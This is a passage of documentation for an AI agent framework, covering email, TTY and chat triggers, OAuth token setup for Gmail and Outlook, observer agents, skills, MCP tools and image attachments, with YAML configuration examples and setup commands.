from a chatbot into an observer: an agent that watches chats, reacts to specific people and reports elsewhere. [Observer agents](/agent-framework/observer-agents) covers the pattern, with a full example. ## Voice notes [#voice-notes] With a top-level `voice` block in the agent file, voice notes work here too: the trigger fetches the audio, transcribes it and runs the transcript through the normal loop, and with `tts` configured it answers a voice note with a voice note. [Voice](/agent-framework/voice) has the setup and the fallbacks. One group-chat caveat: a voice note has no text to carry an @-mention, so with `require_mention` on, voice conversations live in private chats. ## Slash commands [#slash-commands] The trigger calls `setMyCommands` at startup, so Telegram's `/` menu lists the agent's [slash commands](/agent-framework/slash-commands) with their descriptions. In groups Telegram addresses commands per-bot (`/status@your_bot`); the trigger strips the suffix before the command is parsed, so both forms work. # Email (/agent-framework/email) An email address is the one inbox every business already has. Invoices land there, support requests land there, statements from providers land there. The `email` trigger lets incoming mail wake an agent: each qualifying message becomes a run, and the agent's answer goes back out as a reply in the same thread. ```yaml triggers: - type: email transport: resend from_addresses: ["ratul@example.com", "*@example.com"] # required # path: /email (default) # port: 8080 (default) # signing_secret_env: RESEND_WEBHOOK_SECRET (default) # api_key_env: RESEND_API_KEY (default) # allow_silence: true # a reply of exactly __NO_REPLY__ sends nothing ``` `transport` says how mail arrives, and there are two shapes. `resend` is the pushed transport: [Resend](https://resend.com) receives mail for your domain and POSTs each message to the agent as a signed webhook. The other three are pulled transports that watch a mailbox that already exists: `imap` for anything self-hosted or app-password friendly, and `gmail` / `outlook` for the two big hosted providers via their APIs ([Watching a mailbox](#watching-a-mailbox-the-pulled-transports)). Use `resend` to give an agent its own address; use a pulled transport to put an agent on mail you already receive. ## Setting up the Resend transport [#setting-up-the-resend-transport] You need a domain (or a subdomain like `agents.example.com`) whose inbound mail you're willing to point at Resend, and a public HTTPS endpoint for the agent. Unlike the chat triggers, which connect outward, a webhook has to be reachable from the internet, so put the agent behind your reverse proxy or a tunnel. 1. In Resend, add your domain and set up [receiving](https://resend.com/docs/dashboard/receiving/introduction): the MX records they give you route the domain's inbound mail to them. 2. Create a webhook for the `email.received` event, pointed at your agent's URL (e.g. `https://agents.example.com/email`). Copy the signing secret (`whsec_…`) into `RESEND_WEBHOOK_SECRET`. 3. Create an API key with sending access and put it in `RESEND_API_KEY`. The trigger uses it to fetch message bodies and to send replies. 4. List who may write to the agent in `from_addresses`, and start it. Both env vars resolve at startup, and a missing one fails the boot right there, before the first message. ```yaml triggers: - type: email transport: resend from_addresses: ["*@example.com"] ``` ```yaml configs: agent-yaml: content: | handle: resend-bot description: Files invoices that arrive at invoices@example.com. model: provider: openai-compatible id: gpt-5.4-mini purpose: | Mail arriving here is an invoice or it isn't. If it is, extract the vendor, amount, currency and due date, and record them. Reply with a one-line confirmation. If it isn't an invoice, reply with exactly __NO_REPLY__. triggers: - type: email transport: resend from_addresses: ["*@example.com"] allow_silence: true services: resend-bot: image: ghcr.io/loopedautomation/agent:latest configs: - source: agent-yaml target: /agent/agent.yaml env_file: .env # RESEND_WEBHOOK_SECRET, RESEND_API_KEY, model API key ports: - "8080:8080" # put a TLS-terminating proxy in front volumes: - resend-bot-data:/data restart: unless-stopped volumes: resend-bot-data: ``` ## What the agent sees, and how it answers [#what-the-agent-sees-and-how-it-answers] Resend's webhook carries the message metadata; the trigger fetches the body through the Resend API and renders the whole thing into plain text: from, to, subject, date and the body. Plain-text bodies pass through as they are. HTML-only mail gets a naive tag-strip, which is fine for correspondence and will mangle the occasional newsletter. Attachments are listed by filename and size and are otherwise dropped for now; delivering their contents needs a story about writable paths and size caps first. Replies are ordinary email sends through the same API. They go out from the address the mail arrived on, back to the sender (or the Reply-To if one is set), with `In-Reply-To` and `References` pointing at the original so mail clients thread them correctly, and the conventional `Re:` on the subject. Conversations are keyed by the thread's root `Message-ID`, so with `memory.scope: thread` ([Memory](/agent-framework/memory)) an ongoing correspondence loads its history the same way a Discord thread does. Mail without threading headers falls back to subject plus sender. One mechanical difference from the [webhook trigger](/agent-framework/webhook): the HTTP response doesn't carry the run result. The trigger acknowledges the webhook immediately and runs the agent afterwards, because Resend retries slow endpoints and a retried webhook would mean a duplicate run. The reply email is the delivery channel; the run also lands in the [run history](/agent-framework/docker-run#persistence-the-data-volume) as always. ## Watching a mailbox: the pulled transports [#watching-a-mailbox-the-pulled-transports] The pulled transports sign into a mailbox and poll it. No public endpoint, no MX records - the trigger connects outward like the chat triggers do, checks for new mail on an interval and backs off on errors. All three share the same mechanics: the sender and auto-mail filters run before the model is called, the rendered input and threading are the same as above, and credentials resolve at startup so a bad password or expired token fails the boot. **The mailbox is the cursor.** The trigger fetches what the mailbox marks unseen (IMAP) or unread (Gmail, Outlook) and clears that mark when it's done - after the run for handled messages, immediately for dropped ones, since an unread message it will never act on would otherwise be refetched every poll. A restarted container picks up where it left off with no local state, and a crash between the run and the mark costs one duplicate run. The consequence to plan around: the agent shares read-state with any human in the same mailbox, and whoever opens a message first wins. Give the agent a folder or label it owns, with mail routed in by your own filters. ### IMAP [#imap] ```yaml triggers: - type: email transport: imap host: imap.fastmail.com username: agent@example.com # password_env: IMAP_PASSWORD (default) smtp_host: smtp.fastmail.com # replies go out over SMTP # port: 993 / smtp_port: 465 (defaults, implicit TLS) # folder: INBOX (default) # poll_seconds: 60 (default) from_addresses: ["happy@example.com", "gwinyai@example.com"] ``` This covers any provider that still issues passwords: self-hosted mail, Fastmail app passwords, and Gmail through an app password (requires 2-step verification on the account). Replies go out over SMTP from `username`, threaded with `In-Reply-To` and `References`. Outlook is the exception - Microsoft requires OAuth even for IMAP, so use the `outlook` transport instead. The MIME parsing here is deliberately small: plain and HTML bodies, base64 and quoted-printable, RFC 2047 subjects. Ordinary correspondence parses fine; an exotic newsletter may render roughly. ### Gmail [#gmail] ```yaml triggers: - type: email transport: gmail client_id: 1234-abc.apps.googleusercontent.com # client_secret_env: GMAIL_CLIENT_SECRET (default) # refresh_token_env: GMAIL_REFRESH_TOKEN (default) label: agent # default: INBOX from_addresses: ["*@example.com"] ``` Polls the Gmail API for unread messages in `label` and replies into the same Gmail thread. Point `label` at a label your Gmail filters populate, and the agent owns that label's read-state without touching the rest of your inbox. The container has no browser, so the refresh token is minted once on your machine: 1. In [Google Cloud Console](https://console.cloud.google.com), create a project, enable the Gmail API, and create an OAuth client of type **Desktop app**. Note the client id and secret. On the consent screen, publish the app (an app left in "Testing" issues refresh tokens that expire after seven days). 2. Open this URL in a browser (your client id substituted) and approve access: ``` https://accounts.google.com/o/oauth2/v2/auth?client_id=CLIENT_ID&redirect_uri=http://localhost:8085&response_type=code&scope=https://www.googleapis.com/auth/gmail.modify&access_type=offline&prompt=consent ``` 3. The browser ends up on a `localhost:8085` page that fails to load - that's expected, nothing is listening. Copy the `code` parameter out of the address bar. 4. Exchange it: ```sh curl -s https://oauth2.googleapis.com/token \ -d client_id=CLIENT_ID -d client_secret=CLIENT_SECRET \ -d code=THE_CODE -d grant_type=authorization_code \ -d redirect_uri=http://localhost:8085 ``` The response's `refresh_token` goes into `GMAIL_REFRESH_TOKEN`. Google's refresh tokens don't rotate, so this is a one-time step per mailbox. ### Outlook [#outlook] ```yaml triggers: - type: email transport: outlook client_id: 11111111-2222-3333-4444-555555555555 # tenant: common (default) # refresh_token_env: OUTLOOK_REFRESH_TOKEN (default) # client_secret_env: only for confidential clients # folder: inbox (default) from_addresses: ["*@example.com"] ``` Polls Microsoft Graph for unread messages in `folder` and replies through Graph's reply endpoint, which threads and quotes for you. The one-time token comes from the device-code flow, which suits a public client with no secret: 1. In [Microsoft Entra](https://entra.microsoft.com), register an app. Pick the account types you need (`common` covers work and personal), skip the redirect URI, and under Authentication enable **Allow public client flows**. Add the delegated Graph permissions `Mail.ReadWrite`, `Mail.Send` and `offline_access`. 2. Start the device flow: ```sh curl -s https://login.microsoftonline.com/common/oauth2/v2.0/devicecode \ -d client_id=CLIENT_ID \ -d scope="https://graph.microsoft.com/Mail.ReadWrite https://graph.microsoft.com/Mail.Send offline_access" ``` Visit the `verification_uri` it returns and enter the `user_code`. 3. Then collect the token: ```sh curl -s https://login.microsoftonline.com/common/oauth2/v2.0/token \ -d client_id=CLIENT_ID \ -d grant_type=urn:ietf:params:oauth:grant-type:device_code \ -d device_code=THE_DEVICE_CODE ``` The `refresh_token` goes into `OUTLOOK_REFRESH_TOKEN`. One Microsoft-specific caveat: Graph rotates refresh tokens, and the trigger keeps the newest one in memory while it runs. The env var holds the original, so after a long outage (roughly 90 days unused) the token expires and you run the device-code flow again. ## An email address is an open channel [#an-email-address-is-an-open-channel] The chat triggers inherit a boundary from their platform: only people in your server or workspace can speak to the agent. An email address has no such fence. Anyone on the internet can write to it, which makes inbound mail the framework's widest prompt-injection surface, and every unfiltered message costs tokens besides. So the filtering here is stricter than the chat triggers' optional `from_users`: * **`from_addresses` is required.** Exact addresses or `*@domain` patterns (the domain itself; subdomains don't match). If you genuinely want an open mailbox, write `from_addresses: ["*"]`, and the file that defines the agent's permissions now also says its inbox is open. The check runs on the webhook metadata, before the body is fetched and before the model is called. * **Every request's signature is verified.** Resend signs each webhook (via [Svix](https://docs.svix.com/receiving/verifying-payloads/how)); the trigger checks the signature with a timing-safe comparison before parsing anything. An unsigned POST to the endpoint is a 401 and no event. * **Auto-generated mail is dropped.** Messages carrying `Auto-Submitted` or bulk/list `Precedence` headers are skipped, and so is anything from the agent's own address. An agent that replies to an out-of-office reply to its own reply is a mail loop, and this is the standard defense. One honest caveat: a `From` header is an assertion. Resend checks SPF and DKIM on inbound mail, but you should read `from_addresses` as access control for honest senders plus a cost gate. The defense against a crafted message that gets through is the same as everywhere else in the framework: the [permissions](/agent-framework/permissions) block bounds what a fooled agent can actually do. `allow_silence` matters more here than on any chat trigger. An agent that files invoices into accounting software should answer nothing at all; instruct it in `purpose` to reply with exactly `__NO_REPLY__` and the trigger sends no email. ## Give an agent its own address [#give-an-agent-its-own-address] The Resend transport shines when the agent owns an address outright: point `invoices@example.com` at Resend, route it to the agent, done. It also works for personal mail you'd rather keep at arm's length: a Gmail or Fastmail filter that forwards matching messages ("from my accountant", "subject contains invoice") to the agent's address puts exactly the mail you choose in front of it, and the agent's read-state never touches your own mailbox. The pulled transports remove the forwarding step when you're comfortable letting the agent mark mail read in a folder or label of its own. Both shapes ship as runnable examples: [resend-bot](https://github.com/loopedautomation/agent-framework/tree/main/examples/resend-bot) is a Resend address that files what arrives, and [imap-bot](https://github.com/loopedautomation/agent-framework/tree/main/examples/imap-bot) is an IMAP mailbox the agent owns and answers. The [email assistant guide](/agent-framework/email-assistant) composes the trigger with cron and a calendar feed into a personal assistant. # TTY (/agent-framework/tty) Without triggers, `af run` drops into an interactive REPL — but that REPL lives on the container's stdin, which a hosted platform can't reach. The `tty` trigger exposes the same interactive conversation over a WebSocket, so a control plane can attach a browser terminal to a deployed agent and the operator can chat with it live: every step, tool call and result streams as it happens. ```yaml triggers: - type: tty # path: /tty (default) # port: 8090 (default) token_env: TTY_TOKEN # required — bearer auth, deny by default ``` Because it's a trigger like any other, it composes: an agent with `tty` alongside `discord` or `cron` is still a long-lived service, and the terminal is a window into that same agent — same memory, same permissions, same audit trail. ## The protocol [#the-protocol] Connect with a WebSocket to `ws://host:8090/tty`. Auth is the usual bearer token, presented one of two ways: * an `authorization: Bearer ` header, for server-side clients; * the WebSocket subprotocol `bearer.`, for browsers (which cannot set headers on a WebSocket). The server selects the subprotocol back on the upgrade. Every frame in both directions is JSON. On connect the server announces itself: ```json {"type": "hello", "handle": "task-bot", "name": "Juniper", "description": "Triages inbound support tickets", "conversation_id": "8b1f..."} ``` `handle` is the operator's handle for the agent; `name` is the name the agent [chose for itself](/agent-framework/agent-file) on first boot (it falls back to the handle until that ritual runs), and `description` is its job. A client can label the agent by `name` instead of the raw handle, which is what Looped Meet shows for an agent in a call. `description` is omitted when the agent has none. Older clients that only read `handle` keep working, since the extra fields are additive. Send input: ```json {"type": "input", "text": "what's on the calendar today?"} ``` Input may carry images for the turn — a screenshot, a shared-screen frame — as base64 (no `data:` prefix), at most 4 per turn: ```json {"type": "input", "text": "what's on my screen?", "images": [{"mediaType": "image/jpeg", "data": ""}]} ``` While the run executes, the server streams its progress — the same events the local TUI renders: ```json {"type": "step", "n": 1} {"type": "assistant", "content": "Let me check."} {"type": "tool_call", "name": "run_bash", "arguments": "{...}"} {"type": "tool_result", "name": "run_bash", "content": "...", "durationMs": 412} {"type": "result", "status": "ok", "reply": "Two meetings: ...", "steps": 2} ``` `result` ends the turn; send the next `input` after it. One run at a time per socket — an `input` sent mid-run gets `{"type": "error", ...}` back rather than queueing. ## Cancelling a run [#cancelling-a-run] While a run is in flight you can stop it. Send: ```json {"type": "cancel"} ``` This fires the same abort the [`/stop`](/agent-framework/slash-commands) command does. The run halts at its next step boundary and ends with `{"type": "result", "status": "aborted", ...}`, the normal terminal frame, so a client that streams until `result` needs no new handling beyond the added status. The socket takes the next `input` right after, no reconnect. A cancel with nothing running is a no-op. This is what a barge-in looks like from the other side: a participant tells a meeting agent to stop, and the bridge sends `cancel` instead of dropping the connection. The abandoned run stops burning tokens and stops running tool calls the moment it reaches a step boundary, rather than executing to completion with its reply going nowhere. ## Sessions [#sessions] Each connection is a conversation. By default a new socket gets a fresh `conversation_id`; pass `?conversation_id=` in the URL to resume one across reconnects (with `memory.scope: thread` — [Memory](/agent-framework/memory)), so a dropped connection or a page reload picks up where it left off. Agent-created [schedules](/agent-framework/scheduling) deliver into the terminal too: a reminder created in a tty conversation arrives as `{"type": "message", "text": "..."}` on any socket attached to that conversation. If no terminal is attached when it fires, delivery falls through to the agent's other triggers as usual. ## Exposure [#exposure] `token_env` is required — an unauthenticated terminal contradicts deny-by-default, and this surface can drive everything the agent is permitted to do. The token resolves at startup; a missing env var fails right there. As with the webhook trigger, put a TLS-terminating proxy in front of the port before exposing it (`wss://`), and treat the token like the credential it is. Every turn lands in the agent's [run history](/agent-framework/docker-run#persistence-the-data-volume) with its status, steps and tokens, exactly like a run from any other trigger. # Email assistant (/agent-framework/email-assistant) The assistant most people actually want is a mundane one: something that watches the inbox, knows the calendar, sends a nudge before a meeting and deals with the mail that doesn't deserve your attention. This guide builds that agent out of pieces the framework already has. There is no assistant feature to turn on; the [email trigger](/agent-framework/email), [cron](/agent-framework/cron), a skill with `curl` and [persistent memory](/agent-framework/memory) compose into one. The email half of the design ships in the repo as two runnable examples: [resend-bot](https://github.com/loopedautomation/agent-framework/tree/main/examples/resend-bot) for the Resend forwarding pattern this guide uses, and [imap-bot](https://github.com/loopedautomation/agent-framework/tree/main/examples/imap-bot) for the pulled alternative. This page walks through the rest: the calendar feed, the reminder loop and the spam list. ## The shape of the agent [#the-shape-of-the-agent] Two kinds of events wake it, and one skill lets it act: * The **email trigger** delivers the mail you choose to route to it. This is how it reacts to important messages and how you give it instructions ("spam: [newsletter@vendor.com](mailto:newsletter@vendor.com)") by emailing it. * Two **cron schedules** give it a sense of time: a tick every 15 minutes during working hours to check for upcoming meetings, and a morning tick for a daily briefing. * A **skill** teaches it two `curl` calls: sending email through the Resend API and reading your calendar's ICS feed. Sending email is also how it reaches you, since a cron tick has no reply channel of its own. * **Persistent memory** holds the spam list and remembers which meetings it has already reminded you about. The credentials stay out of the model's sight the whole way: `RESEND_API_KEY` and `CALENDAR_ICS_URL` live in the container environment, `run_bash` passes them to `curl`, and the agent writes `$RESEND_API_KEY` without ever seeing the value. ## Getting your mail in front of it [#getting-your-mail-in-front-of-it] The agent gets its own address, say `assistant@agents.example.com`, set up through Resend as described on the [email trigger page](/agent-framework/email#setting-up-the-resend-transport). Your own mail reaches it through forwarding filters in your mail provider: a Gmail filter that forwards anything from your accountant, anything with "invoice" in the subject, or anything from a sender you've starred. You decide what the agent sees, message by message, in the mail client you already use. Nothing else leaves your inbox. One consequence to understand: forwarded mail keeps the original sender's `From` header, so the trigger sees the world's addresses and `from_addresses` can't act as a tight allowlist here. Set it to `["*"]` and let the file say so in a comment. That is a real widening, and three things stand in for the fence: your provider's own spam filtering runs before anything is forwarded, your filters only forward what matches, and the agent checks its spam list before doing anything else. [`limits`](/agent-framework/agent-file#limits) caps what a run can spend if junk gets through anyway. There is a second way in: the [pulled transports](/agent-framework/email#watching-a-mailbox-the-pulled-transports) let the agent watch a mailbox directly - the `gmail` transport polling a label your filters populate, `imap` for anywhere an app password works, `outlook` via Graph. That removes the forwarding hop and gives back a tight `from_addresses` allowlist, at the cost of the agent marking mail read in the label it watches. This example stays on forwarding for two reasons: the agent's read-state never touches your mailbox, and it needs the Resend key anyway to send you reminders. If you'd rather the agent sit inside your Gmail, swap the email trigger for a `gmail` one and keep the rest of the file as it is. ## Calendar access without OAuth [#calendar-access-without-oauth] Google Calendar, Fastmail and most other providers publish each calendar at a **secret ICS address**: a URL that returns the whole calendar as an iCal text file, readable by anyone who has the link. In Google Calendar it's under Settings → your calendar → "Secret address in iCal format". That URL is all the calendar access a reminder agent needs. It goes into the environment as `CALENDAR_ICS_URL`, and the skill teaches the agent to fetch it with `curl` and filter it with `grep` down to the day's events, because a busy calendar's feed is far larger than a tool result should be. Read-only, no OAuth dance, no MCP server, revocable at any time by resetting the URL in your calendar settings. The cost of this shortcut is that the agent can only read. If you want it to create events or respond to invites, that's the point to reach for a calendar MCP server ([Tools](/agent-framework/tools)) and the OAuth setup that comes with it. For reminders and briefings, the feed is enough. ## Meeting reminders [#meeting-reminders] The reminder loop is a cron tick plus a memory convention: ```yaml triggers: - type: cron schedule: "*/15 7-18 * * 1-5" # weekdays, working hours prompt: Reminder tick. Check the calendar and send any due meeting reminders. ``` On each tick the agent reads the feed, looks for events starting in the next 45 minutes, and for each one checks persistent memory for a `reminded:` key. If the key is missing, it emails you a one-liner ("Standup in 30 minutes") and remembers the key; if it's there, it stays silent. The memory check is what makes a 15-minute tick safe - a meeting gets one reminder, however many ticks see it coming. The morning tick clears out the previous day's `reminded:` keys so they don't accumulate. Reminder precision is the tick interval: with `*/15`, a reminder arrives up to 15 minutes later than the ideal moment. Tighten the schedule if that bothers you; each tick is a model call, so the interval is also a cost dial. ## Acting on important mail [#acting-on-important-mail] What "important" means is written in the `purpose`, in plain language. The example's version: ```yaml purpose: | ... On forwarded mail: - First recall the spam_list memory. If the original sender is on it, reply with exactly __NO_REPLY__ and do nothing else. - If the mail is important (a deadline, an invoice, a request from a person expecting an answer), email me a short heads-up with what it needs and by when. - Otherwise reply with exactly __NO_REPLY__. ``` `allow_silence: true` on the trigger makes the `__NO_REPLY__` sentinel real: most forwarded mail should produce no email at all, and the run still lands in the [run history](/agent-framework/docker-run#persistence-the-data-volume) so you can see what the agent decided and why. This is also where you'd extend the agent toward doing rather than summarizing - the same purpose can tell it to file invoices somewhere via an allowlisted CLI, or to draft a reply for your review. Every capability it needs has to come through [permissions](/agent-framework/permissions) or a declared tool, so the agent file stays a complete description of what your assistant can reach. ## The spam list [#the-spam-list] The spam list is one persistent-memory key, `spam_list`, holding a comma-separated set of addresses. The agent consults it before acting on any forwarded mail, and you edit it by emailing the agent: > spam: [newsletter@vendor.com](mailto:newsletter@vendor.com) > unspam: [alerts@bank.example.com](mailto:alerts@bank.example.com) The agent updates the memory and confirms in one line. Because persistent memory survives restarts and is visible from every conversation, the list works no matter which thread the instruction arrived in, and `list_memories` shows you the current state whenever you ask. Every update also lands in the [audit trail](/agent-framework/docker-run#persistence-the-data-volume) as a `memory` event. This list keeps the *agent* from spending attention on a sender. It can't unsubscribe you or stop the mail arriving in your own inbox - for that, tighten the forwarding filters at the source. ## What this design accepts [#what-this-design-accepts] Worth naming plainly: * **Every forwarded message is a model call.** The forwarding filters are your cost control; forward selectively. * **The calendar is read-only** through the ICS feed, and the secret URL grants whoever holds it a full view of that calendar. Treat it like a password; rotate it from calendar settings if it leaks. * **Attachments don't reach the agent yet** - it sees filenames and sizes only ([email trigger](/agent-framework/email#what-the-agent-sees-and-how-it-answers)). * **The agent only sees what you route to it.** It can't search your mailbox history or notice a message you didn't forward. A [pulled transport](/agent-framework/email#watching-a-mailbox-the-pulled-transports) trades that isolation for direct mailbox access when you want it. Ready to build it? Start from the [resend-bot example](https://github.com/loopedautomation/agent-framework/tree/main/examples/resend-bot) - its README walks through the Resend setup - then swap in the purpose from this page and add the cron triggers, the calendar skill and the `curl` permission from the sections above. # Observer agents (/agent-framework/observer-agents) A chat trigger normally behaves like a chatbot: someone writes a message, the agent replies to it, in the same place. Some jobs want a different shape. A review bot that watches a channel and only speaks up when something needs fixing. A moderation assistant that reports to a private channel the rest of the team can't see. A coach that gives one person feedback on their messages. In all of these the agent watches a conversation it isn't really part of, and that's what we call an observer. The [Discord](/agent-framework/discord), [Slack](/agent-framework/slack) and [Telegram](/agent-framework/telegram) triggers all support this. Three optional keys together make the switch: * `from_users` - handle only these authors. The filter runs *before* the model is called: everyone else's messages are dropped in the trigger and never reach the provider, so they cost no tokens. * `reply_channel` (`reply_chat` on Telegram) - deliver replies to a dedicated channel instead of the source. Out-of-channel replies quote the triggering message and link back to it. * `allow_silence` - let the agent say nothing. Instruct it in `purpose` to answer with exactly `__NO_REPLY__` when it has no feedback; the trigger then posts nothing instead of a "looks fine" reply on every message. An empty reply also stays silent. On Discord, stray punctuation or whitespace around the sentinel is tolerated (cheap models like to add a trailing period); a sentinel buried in real content still posts. You can use any of the three on their own. `from_users` alone gives you a bot that only listens to certain people; `allow_silence` alone gives you a chatbot that can decline to answer. An observer usually wants all three. ## Example [#example] A review bot that watches the `pull-requests` channel on Discord, reads Happy's messages, and posts feedback to a review channel when it has any: ```yaml handle: review-bot description: Reviews Happy's PR summaries and flags anything risky. model: provider: openai-compatible id: gpt-5.4-mini purpose: | You watch PR summaries from Happy. If a summary mentions a risky change (migrations, auth, deletes), post a short note about what to double-check. If there is nothing to flag, reply with exactly __NO_REPLY__. triggers: - type: discord channels: ["pull-requests"] from_users: ["happy"] reply_channel: "1522..." # the review channel's id allow_silence: true ``` The same shape works on Slack (with Slack user ids in `from_users`) and on Telegram (with `reply_chat` instead of `reply_channel`). ## Keep the typing indicator off [#keep-the-typing-indicator-off] Discord's trigger can show a "typing…" indicator while a run is in flight (`show_typing`). Leave it off for an observer: an indicator that ends in no message reads as the bot changing its mind, and an observer stays silent most of the time. ## Silent runs still leave a trace [#silent-runs-still-leave-a-trace] Every run - replied or silent - lands in the agent's [run history](/agent-framework/docker-run#persistence-the-data-volume) with its status, steps and tokens. When you're tuning the `purpose` to get the silence threshold right, the history is where you see what the agent decided on the messages it didn't answer. # Skills (/agent-framework/skills) A skill is a markdown file that teaches the agent how to use something well. A skill carries knowledge and nothing else: it cannot grant permissions, and the config's `permissions:` block stays the sole authority over what the agent is allowed to do. This means that the worst a bad skill can be is misleading documentation. ```yaml skills: - ./skills/gh-issues.md permissions: run: [gh] # the grant that makes gh runnable ``` This split is how you integrate almost anything: the [custom image](/agent-framework/docker-run#the-custom-image-story) provides the binary, the skill explains how to use it and the [permissions](/agent-framework/permissions) block allows it to run. For most integrations, you don't need an MCP server. A CLI and a well written skill can go a long way. ## Authoring a skill [#authoring-a-skill] A skill file can open with YAML frontmatter (`name` and `description`); if you leave it out, the filename and the first line stand in: ```markdown --- name: gh-issues description: Create and manage GitHub issues with the gh CLI. --- # Managing GitHub issues with `gh` ...full instructions... ``` Paths in `skills:` are relative to the agent file. Write a skill the way you'd write a runbook for a new hire: the commands that work, the flags that matter, the failure modes and what to do about them. ## Progressive disclosure [#progressive-disclosure] A skill stays out of the model's context until it's needed. The system prompt carries one line per skill (its name and description), and the agent reads the full document with the `read_skill` tool when the task calls for it. This means that an agent with ten skills spends ten lines of context on them until one is actually read. ## First-party skills [#first-party-skills] The [`skills/`](https://github.com/loopedautomation/agent-framework/tree/main/skills) directory holds the skills maintained with the framework: * [`gh-issues`](https://github.com/loopedautomation/agent-framework/blob/main/skills/gh-issues.md) - create and manage GitHub issues with the `gh` CLI. The [gh-issues-bot example](https://github.com/loopedautomation/agent-framework/tree/main/examples/gh-issues-bot) uses it. * [`looped-authoring`](https://github.com/loopedautomation/agent-framework/blob/main/skills/looped-authoring.md) - scaffold and validate Looped agents with the `af` CLI. The [agent-zero-bot example](https://github.com/loopedautomation/agent-framework/tree/main/examples/agent-zero-bot), the agent that builds agents, uses it. # Tools (/agent-framework/tools) We kept the base toolset small: a handful of native tools, gated by permissions. Anything beyond that is something you add deliberately, either a [skill](/agent-framework/skills) plus a CLI or an MCP server. Every tool an agent carries is more attack surface, more context and one more way for a small model to get confused, so the framework ships with very little and lets you add the rest. ## Native tools [#native-tools] Tools follow permissions. A native tool exists for the agent only when the [permissions](/agent-framework/permissions) block grants what it needs. This means that no unused tool schema takes up context, and there is nothing sitting there to misuse: | Tool | Present when | Notes | | -------------------------------------------------- | ------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `current_time` | always | the only tool granted unconditionally | | `run_bash` | `permissions.run` grants executables | statically checked per executable; output capped at 8k chars | | `http_request` | `permissions.net` grants hosts | GET/POST/PUT/PATCH/DELETE/HEAD; 30s timeout; body capped at 8k chars; [credentials](/agent-framework/secrets#credentials-for-http-attached-server-side) attached server side | | `read_file` | `permissions.read` grants paths | capped at 8k chars | | `write_file` | `permissions.write` grants paths | creates parent directories | | `read_skill` | `skills:` lists any | [progressive disclosure](/agent-framework/skills#progressive-disclosure) | | `remember` / `recall` / `list_memories` / `forget` | `memory.persistent: true` | [persistent memory](/agent-framework/memory#persistent-memory-persistent) | | `schedule` / `list_schedules` / `unschedule` | `schedules:` block present | [agent-created schedules](/agent-framework/scheduling), capped at `schedules.max` | | `search_tools` | tool search is deferring | see below | An agent with no `permissions:` block gets `current_time`, plus `read_skill` if it has skills. Nothing else. ## MCP servers [#mcp-servers] Use an MCP server when a good one exists and is worth the context cost: ```yaml tools: mcp: - name: github command: ["docker", "run", "-i", "ghcr.io/github/github-mcp-server"] # stdio env: GITHUB_TOKEN: ${GITHUB_TOKEN} # scoped: the server sees only this include: [create_issue, update_issue, search_issues] - name: internal url: https://mcp.internal.example.com/mcp # or HTTP ``` * Tools are namespaced `mcp__github__create_issue` in the loop and the audit trail. * We strongly recommend `include:`. A 40-tool server puts 40 schemas into a small model's context; expose the three you actually need. `include:` is also the permission surface for MCP: a tool you didn't include does not exist for the agent. * `readonly: true` on a server exposes only tools whose `readOnlyHint` annotation marks them read-only, which is a good fit when the job only reads. The hint is self-reported by the server, so treat this as a guard against wiring write tools into a read-only job; the trust decision is still whether to declare the server at all. * Every MCP call is recorded in the audit trail with the tool name and whether it succeeded, alongside the run's permission decisions. * Each server sees only its own `env:` block (values may be `${VAR}` references); the agent's own environment stays private. * Results are truncated at 8k chars; servers connect at startup and close on shutdown. For a sense of when to skip the MCP route entirely: the [gh-issues-bot example](https://github.com/loopedautomation/agent-framework/tree/main/examples/gh-issues-bot) covers a full GitHub integration with the `gh` CLI and a skill, and the same block above is what its config would grow if the CLI ever stopped being enough. ## Tool search [#tool-search] `include:` keeps context lean by hand; tool search does the same thing automatically. When the total toolset grows past 10, MCP tool schemas stay out of context entirely. The model gets a single `search_tools` schema, and it activates the tools the task needs while the run is underway: ```yaml tools: search: auto # auto (default) | on | off ``` * `auto` - defer MCP tools when the agent carries more than 10 tools in total; below that, everything loads normally. * `on` / `off` - always or never defer, regardless of count. A search is a keyword match against tool names and descriptions; the top matches (up to five, with a relevance cutoff) become callable for the rest of the run. Native and skill tools always load, since they are small and framework-owned. `include:` and `search` compose: `include:` filters the server down to what the agent should ever see, and search decides when it sees it. ## Code you write yourself [#code-you-write-yourself] There is no way to point the config at a TypeScript file and have the framework load it as a tool. We looked at it and decided against it. A tool module gets dynamically imported into the agent process, which means it runs with the agent's full permissions, and we would be maintaining a second extension mechanism that does what MCP already does. So when you have code of your own that the agent should be able to call, you have two options. Wrap it in an MCP server and declare it under `tools.mcp`, which keeps it in its own process with its own permissions. Or give the agent a CLI and a [skill](/agent-framework/skills) that explains how to use it, which is usually the cheaper of the two. If you put `tools.custom` in a config, the loader rejects it and tells you the same thing. # Images and attachments (/agent-framework/attachments) People send agents screenshots. Someone pastes a stack trace as a PNG, forwards a photo of a receipt, drops a design mock into a channel and asks what's wrong with it. An agent that can only read text is going to look ridiculous in that conversation. So an image that arrives on a channel reaches the model. The agent looks at it and answers about it, and it doesn't matter which channel it came from: the trigger fetches the bytes, and the model gets the picture alongside the text. ```yaml model: provider: anthropic id: claude-sonnet-5 # any model with vision; see the note on models below purpose: | You review UI screenshots. When someone posts an image, describe what's wrong with the layout and suggest a fix. triggers: - type: discord ``` That's the whole configuration. There's no flag to turn images on, because there's nothing to turn on: if a channel delivers an image and your model can see, the agent sees it. ## What each channel can do [#what-each-channel-can-do] | Channel | Images in | Files that aren't images | Agent sends media back | | ------------------------------------ | ------------------------------------------ | ------------------------ | ---------------------- | | Discord | Yes, from the attachment CDN | Named in the prompt | No | | Slack | Yes (needs the `files:read` scope) | Named in the prompt | No | | Telegram | Yes, photos and images sent as files | Named in the prompt | No | | Email (Resend, IMAP, Gmail, Outlook) | Yes, from the message's attachments | Named in the prompt | No | | Webhook | Not yet | Not yet | No | | GitHub | No, images in an issue stay markdown links | n/a | No | | Cron | n/a, nothing arrives | n/a | No | ## Anything the agent can't look at, it can still tell you about [#anything-the-agent-cant-look-at-it-can-still-tell-you-about] When someone attaches a PDF, the agent doesn't get the PDF. What it gets is a line in the prompt saying the PDF arrived: ``` Can you check these numbers? [attachment: quarterly.pdf (application/pdf, 2.1 MB) — not an image; this agent reads text and images] ``` This matters more than it sounds. Before, that file was dropped in silence and the agent replied as though nothing had been attached, which reads to the person on the other end as though the agent is ignoring them. Now the agent can say "you sent me quarterly.pdf and I can't read PDFs," which is a useful answer even though it's a no. The same line shows up when an image is too big, when a message carries more images than the agent's limit allows, and when a download fails. An agent never quietly sees less than what you sent it. ## 